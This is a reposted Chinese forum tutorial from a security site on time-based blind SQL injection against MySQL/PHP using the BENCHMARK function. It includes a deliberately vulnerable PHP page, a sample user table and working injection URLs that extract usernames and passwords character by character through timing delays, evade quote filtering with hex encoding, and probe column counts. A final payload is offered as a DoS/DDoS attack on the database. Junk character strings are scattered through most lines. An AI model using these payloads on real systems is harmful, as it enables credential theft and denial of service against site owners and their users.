找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2084|回复: 0
打印 上一主题 下一主题

MYSQL中BENCHMARK函数的利用

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:03:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
MYSQL中BENCHMARK函数的利用
9 ]% O2 w  M2 G7 p  ?3 J本文作者:SuperHei
1 V9 \; J2 r4 C9 B( O7 I文章性质:原创+ k/ Y) R! k% Z3 p- K9 _( [# p
发布日期:2005-01-02
, u8 \4 W# b( Y0 h6 }" Y完成日期:2004-07-09 , S  m6 z- i$ A( e: k3 e
第一部1 y" ?6 R9 a4 C0 i; i

3 N, j7 P9 u$ b" Y6 w: \利用时间推延进行注射---BENCHMARK函数在注射中的利用 + _! C; g  c+ q: T5 ~, g

3 r% G; _' H, L9 u一.前言/思路
5 R- T6 {$ |9 p! Q' H: U
3 `+ S1 C) [, S& I# s2 |, g2 l  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。0 R0 Q' S4 H6 r8 k8 p

" f6 H7 ~& X: S$ J* M) Z/ f4 O  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。$ }) b% v- {) \5 R. b7 r
% g4 k" C$ _' {% K( ~+ N
二.关于BENCHMARK函数
8 w2 z7 G6 F! L/ n7 J- e, l7 q( G! y4 l0 p) Z8 r" R
  在MySQL参考手册里可以看到如下描叙:
% w9 u: K4 f3 m# {( D# u' E7 O$ I9 g* r; @% [
- K4 _3 {' d5 H4 F8 c" \
--------------------------------------------------------------------------------& J: B5 d& {- V8 b
2 j2 \; e6 ^/ f) K& G
BENCHMARK(count,expr)
7 V1 S8 T0 Z4 H0 t% k6 x$ [; fBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
6 y+ B4 j! G4 R9 d: Emysql> select BENCHMARK(1000000,encode("hello","goodbye"));
3 b6 G$ ^: e8 ]% D+ X" t+----------------------------------------------+
: e2 R9 Z$ n5 F# v| BENCHMARK(1000000,encode("hello","goodbye")) | 7 K3 m& ^3 w& k8 o1 [
+----------------------------------------------+
% I- h1 \  @4 {' h( N: a| 0 | ; W7 x+ h7 Y4 [) V
+----------------------------------------------+   p: e, e( y  C2 n1 e; B
1 row in set (4.74 sec)
2 U" d" Z: C& c& J; ~4 B. s+ c
( ^9 L# G; x8 c) s) C, \报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
: x5 o# q7 M7 D  z
+ [: o3 Z+ a2 W$ w, R+ B" u" }$ u& R3 Y
--------------------------------------------------------------------------------
. n; B* o! @, L; ?6 E8 W2 `. k+ Y2 {/ @) q5 p: ^# z
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 4 [9 o* D4 z0 }  B! D4 k% e0 p

! ?7 |4 U2 v) i0 h" Fmysql> select md5( 'test' ); + F. K: n7 `& c( _. v+ H1 C
+----------------------------------+ + ~9 x6 y' ^$ a4 J. j% F2 W
| md5( 'test' ) |
/ S% g% }) S1 S+ d3 C) G2 {, J+----------------------------------+ * d8 _) K) A8 z4 c/ O- ]( v- p/ y& {
| 098f6bcd4621d373cade4e832627b4f6 |
& y& O& B: C+ e+ t% D$ y& K+----------------------------------+
% T: G5 g/ F5 w1 K1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 3 ]8 ?6 `" j* L; d5 X2 k

. ]# {% R2 F6 t) c5 `# N( F8 dmysql> select benchmark( 500000, md5( 'test' ) ); 8 h  d& F! v3 v+ E; D7 ~; H
+------------------------------------+
' G/ n0 o5 X9 @! B* s# t6 A| benchmark( 500000, md5( 'test' ) ) | + v1 t# U4 B3 [. j8 E4 T- f8 ]7 }2 W
+------------------------------------+
2 ?* L. [! c. y# ~( c| 0 | + F  v5 ]4 G5 o. ~/ |
+------------------------------------+
4 ]6 @4 d/ [: {) f; |+ Z- E) w1 row in set (6.55 sec) 〈------------执行时间为6.55 sec" y  m# O; |3 ]  @8 ~' P

: ~* |% h: @! S7 d$ Q0 {
6 l' E! |: ^- M" g, P/ b* d  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
( b1 u+ C% a9 m; j9 I+ y! g3 m! N# _3 W$ ^  D
三.具体例子
! f0 ^$ Q3 _9 M! q0 a
: S  O! z0 J6 S# i5 ~; m  首先我们看个简单的php代码:$ h9 G/ e( s9 X* `- f+ ]4 x7 f
" u. M8 ]  P" s9 E7 l
< ?php
* S# F. T2 s! @% }& x0 ^# z$servername = "localhost";
7 U+ V9 e5 N/ Y& c3 p* i( Z3 W5 {$dbusername = "root";
7 e6 ^% w9 P+ v2 h( b5 I7 a2 j* ?$dbpassword = "";
. t8 q- v$ s1 Y. g2 {$dbname = "injection"; " S  v5 X4 g' U, _8 @
" H- f0 `4 j9 ]: t% S
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 2 r( \0 P' l) U( I
+ @* J, w1 d, q: Y* J
$sql = "SELECT * FROM article WHERE articleid=$id"; : L  x- R8 h/ p, Z; s7 n
$result = mysql_db_query($dbname,$sql); ; e. ~) g: H' s% T, u, N8 H
$row = mysql_fetch_array($result); # e% \9 Z0 q" t/ h& E4 m) m2 s

! J- E$ M- C2 Q: h7 S0 tif (!$row)
" h7 T6 _9 z3 N: V+ R3 s+ |{
5 \, P# u2 A, y! r' oexit; $ X& f" M  q# K5 w- b' f
}
( L2 [  E' D9 c?>  Z; W& h, s7 Q7 w7 W
1 \/ k7 Q& T% F3 s2 p; K2 `
- C" ]. j5 O. P% \7 I
  数据库injection结构和内容如下:
0 T) |) i5 {; E# E/ V: F% K% n" [( Z, V1 x
# 数据库 : `injection`
7 S5 ]6 {0 X" b5 i' s+ p#
" e* f- `. j+ ?" t) Y0 v9 W4 D
+ `% b& {& T. H: C# @& v# -------------------------------------------------------- - W6 a/ i0 m, f( ^% A2 a7 D
0 _  S" M4 n1 P( Z
# ( F8 p7 }8 R; B9 E- [+ e) J/ K
# 表的结构 `article` ) w, u5 C! h+ N' V
# 2 b8 L  \' f# O* n) t: w

# |. n' v2 f0 O: ]8 YCREATE TABLE `article` (
9 V: O: G. r$ {) j" w`articleid` int(11) NOT NULL auto_increment,
2 d% g3 `8 R" z  Y, H: I9 V4 N' Y`title` varchar(100) NOT NULL default '', + ~+ ^. h4 ?0 z) n$ {0 ?4 F
`content` text NOT NULL, # J5 `9 u# T5 v0 s8 W2 r# {0 B+ }0 X
PRIMARY KEY (`articleid`)
( n: W5 q+ U, ?+ k5 Y2 Q) TYPE=MyISAM AUTO_INCREMENT=3 ;
, @. w8 o0 F' o+ E3 G" U  [
' Y* u( u) n" y" b9 q#
! ^8 b; \8 S- A! ~  H) w0 c1 P# 导出表中的数据 `article` ( n" B- J4 \, ~
# : Y$ d# \& O8 L# q

0 }/ C* J* W: s3 O6 \6 mINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); 4 X# f$ `6 {- {. Z$ E0 W
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ' @- v) K7 a" b0 _3 c
! s  V. ^1 {6 s; s" {! q
# --------------------------------------------------------
( V2 S8 R5 j" L
; M3 [+ q$ _& ^# t#
/ U1 h( x- B4 e5 d# 表的结构 `user` 4 Q+ K1 O7 V9 n4 S; ?5 B6 ?
# ! C$ H% V0 R) s% X
' n0 C" ?) X+ p' ~
CREATE TABLE `user` (
0 w3 f9 n) Q& a8 k7 ?`userid` int(11) NOT NULL auto_increment, " s* `' T* R5 n4 j3 ?; u8 b
`username` varchar(20) NOT NULL default '',
3 L( Q8 z; `& i! U`password` varchar(20) NOT NULL default '',
/ `' \* F& i$ Q. j5 LPRIMARY KEY (`userid`) $ C) X$ t6 K! B6 h4 t+ o, k
) TYPE=MyISAM AUTO_INCREMENT=3 ;
" ~3 \0 {, Y7 M3 m; d! Z. e" {/ b5 j; X5 r
# 0 |6 O  n8 X& Q
# 导出表中的数据 `user`
) d' V* i) T/ G  W! e# e: T#
7 x/ W2 e  x% M4 {  V
+ _3 j7 _( Z2 x( j! I$ p2 \INSERT INTO `user` VALUES (1, 'angel', 'mypass');
/ t: Y  }. V3 fINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
( L) m1 G. b% I: t8 S5 m8 L) L
4 g$ W1 f" C8 p; n# e
" _# g7 _2 p$ h2 c# Z  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
7 D  A9 r# E& j3 O0 k& a/ z& w9 f  F6 y# K8 ]
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
* Z  H* Q4 L7 X, `
. Z6 S2 g1 o8 y, h9 H# j3 c$ R1 f' a$ L& o+ j
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
8 Q7 K  H$ p+ N' d8 I  S# k+ o7 H
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*9 H% l. _+ W& a5 c

; g5 v: p* g+ h- u4 b3 ]. X4 Y! Y. s8 ~
  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
7 z) f3 B) i/ Y& Z' W0 O8 E
0 }* I, N& ~' D' u) {& ~  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
8 m' K2 \1 C, k8 ~# Z1 `% X; w0 u0 r+ ~  z) |3 `
第二部9 A4 Z# M6 U2 {. ^/ s- m! ]8 h

' E9 d+ J6 Q3 D4 }利用BENCHMARK函数进行ddos攻击
, t8 _# H% b0 e. d+ z& D0 g0 k; g& Q4 u
  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:  P9 A- O, w: O8 ~' c
. I0 r8 z% p/ Q: I
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
# G. U5 J6 o" k 4 k+ y4 z! f- y' h  n0 |& k
; c( d' g& v0 }6 u1 s4 [
小结' v2 L9 x" ^* z4 I3 x0 C

( H! ~; N  s9 R& F0 B% ?9 s  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。! u. f6 h% v4 c" d4 }

# r- {, c4 Q! i: ~3 u7 c1 n  ' _" s9 U  O* s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表